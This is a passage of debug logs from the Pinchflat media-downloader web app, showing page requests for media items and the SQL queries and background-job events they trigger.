FROM "settings" AS s0 LIMIT 1 [] 15:31:14.256 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:31:14.257 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:31:14.258 [info] Sent 200 in 4ms 15:31:14.258 [info] Sent 200 in 4ms 15:31:14.815 [info] GET /sources/2/media/1610 15:31:14.815 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1610", "source_id" => "2"} Pipelines: [:browser] 15:31:14.815 [debug] QUERY OK source="media_items" db=0.2ms idle=559.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1610] 15:31:14.816 [debug] QUERY OK source="tasks" db=0.0ms idle=559.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1610] 15:31:14.816 [debug] QUERY OK source="sources" db=0.2ms idle=559.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:31:14.816 [debug] QUERY OK source="settings" db=0.0ms idle=559.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:14.817 [debug] QUERY OK source="settings" db=0.0ms idle=281.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:14.817 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:14.818 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:31:14.819 [info] Sent 200 in 3ms 15:31:15.313 [info] GET /sources/2/media/1613 15:31:15.313 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1613", "source_id" => "2"} Pipelines: [:browser] 15:31:15.314 [debug] QUERY OK source="media_items" db=0.2ms idle=497.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1613] 15:31:15.314 [debug] QUERY OK source="tasks" db=0.1ms idle=497.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1613] 15:31:15.315 [debug] QUERY OK source="sources" db=0.2ms idle=497.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:31:15.315 [debug] QUERY OK source="settings" db=0.0ms idle=497.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:15.315 [debug] QUERY OK source="settings" db=0.0ms idle=497.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:15.315 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:15.316 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:31:15.317 [info] Sent 200 in 3ms 15:31:22.937 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:31.947 [info] GET /sources/2/media/2719 15:31:31.947 [info] GET /sources/3/media/6875 15:31:31.947 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6875", "source_id" => "3"} Pipelines: [:browser] 15:31:31.948 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "2719", "source_id" => "2"} Pipelines: [:browser] 15:31:31.948 [debug] QUERY OK source="media_items" db=0.4ms idle=1417.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [2719] 15:31:31.948 [debug] QUERY OK source="media_items" db=0.6ms idle=1417.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6875] 15:31:31.949 [debug] QUERY OK source="tasks" db=0.2ms idle=1418.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [2719] 15:31:31.949 [debug] QUERY OK source="tasks" db=0.4ms idle=394.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6875] 15:31:31.949 [debug] QUERY OK source="sources" db=0.7ms idle=1395.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:31:31.949 [debug] QUERY OK source="sources" db=0.6ms idle=0.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:31:31.950 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:31.950 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:31.950 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:31.950 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:31.950 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:31.950 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:31.951 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:31:31.951 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:31:31.953 [info] Sent 200 in 5ms 15:31:31.953 [info] Sent 200 in 5ms 15:31:32.568 [info] GET /sources/3/media/4967 15:31:32.568 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4967", "source_id" => "3"} Pipelines: [:browser] 15:31:32.569 [debug] QUERY OK source="media_items" db=0.2ms idle=618.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4967] 15:31:32.569 [debug] QUERY OK source="tasks" db=0.0ms idle=618.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4967] 15:31:32.570 [debug] QUERY OK source="sources" db=0.1ms idle=618.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:31:32.570 [debug] QUERY OK source="settings" db=0.1ms idle=618.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:32.570 [debug] QUERY OK source="settings" db=0.0ms idle=15.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:32.570 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:32.571 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:31:32.572 [info] Sent 200 in 4ms 15:31:33.044 [info] GET /sources/2/media/1611 15:31:33.044 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1611", "source_id" => "2"} Pipelines: [:browser] 15:31:33.045 [debug] QUERY OK source="media_items" db=0.2ms idle=474.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1611] 15:31:33.045 [debug] QUERY OK source="tasks" db=0.1ms idle=475.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1611] 15:31:33.045 [debug] QUERY OK source="sources" db=0.2ms idle=474.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:31:33.046 [debug] QUERY OK source="settings" db=0.1ms idle=474.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:33.046 [debug] QUERY OK source="settings" db=0.1ms idle=474.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:33.046 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:33.047 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:31:33.048 [info] Sent 200 in 3ms 15:31:57.939 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:00.202 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:32:27.940 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:31.055 [info] GET /sources/2/media/2857/edit 15:32:31.056 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "2857", "source_id" => "2"} Pipelines: [:browser] 15:32:31.056 [debug] QUERY OK source="media_items" db=0.2ms idle=1525.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [2857] 15:32:31.056 [debug] QUERY OK source="settings" db=0.0ms idle=1526.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:31.057 [debug] QUERY OK source="settings" db=0.0ms idle=1434.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:31.057 [debug] QUERY OK source="settings" db=0.0ms idle=526.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:31.058 [info] Sent 200 in 2ms 15:32:31.075 [info] GET /sources/3/media/3222 15:32:31.075 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3222", "source_id" => "3"} Pipelines: [:browser] 15:32:31.075 [debug] QUERY OK source="media_items" db=0.2ms idle=452.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3222] 15:32:31.076 [debug] QUERY OK source="tasks" db=0.1ms idle=19.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3222] 15:32:31.076 [debug] QUERY OK source="sources" db=0.1ms idle=19.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:32:31.076 [debug] QUERY OK source="settings" db=0.1ms idle=19.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:31.076 [debug] QUERY OK source="settings" db=0.0ms idle=19.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:31.077 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:31.077 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", 